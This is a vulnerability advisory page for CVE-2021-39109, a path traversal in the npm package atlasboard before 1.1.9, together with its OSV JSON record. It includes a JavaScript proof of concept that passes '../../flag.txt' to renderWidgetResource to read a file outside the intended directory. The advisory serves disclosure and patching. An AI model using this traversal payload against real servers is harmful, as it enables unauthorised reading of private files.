GHSA-25PR-6PR6-68V7

Vulnerability from github – Published: 2021-09-02 17:17 – Updated: 2025-09-29 16:41
VLAI?
Summary
Path traversal in atlasboard
Details

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC

const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "atlasboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-02T16:35:00Z",
    "nvd_published_at": "2021-09-01T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) =\u003e {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```",
  "id": "GHSA-25pr-6pr6-68v7",
  "modified": "2025-09-29T16:41:02Z",
  "published": "2021-09-02T17:17:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39109"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/abs/2506.04962"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/pdf/2506.04962"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/atlassian/atlasboard/src/master"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Path traversal in atlasboard"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…